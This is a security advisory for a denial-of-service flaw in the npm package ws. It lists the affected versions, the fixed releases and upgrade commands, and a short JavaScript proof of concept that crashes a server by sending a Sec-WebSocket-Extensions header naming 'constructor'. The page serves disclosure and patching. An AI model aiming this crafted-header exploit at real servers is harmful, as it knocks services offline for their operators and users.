HighGHSA-5v72-xg48-5rpm

Denial of Service in ws

Published 4 Jun 2019 · Updated 17 Jul 2026

Affected packages

wsnpm
Affected
>=0.6.0 <1.1.5
Fixed in
1.1.5
Update to the fixed version for your release line, for example:npm install ws@1.1.5
wsnpm
Affected
>=2.0.0 <3.3.1
Fixed in
3.3.1
Update to the fixed version for your release line, for example:npm install ws@3.3.1

Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Is GHSA-5v72-xg48-5rpm in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected ws, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.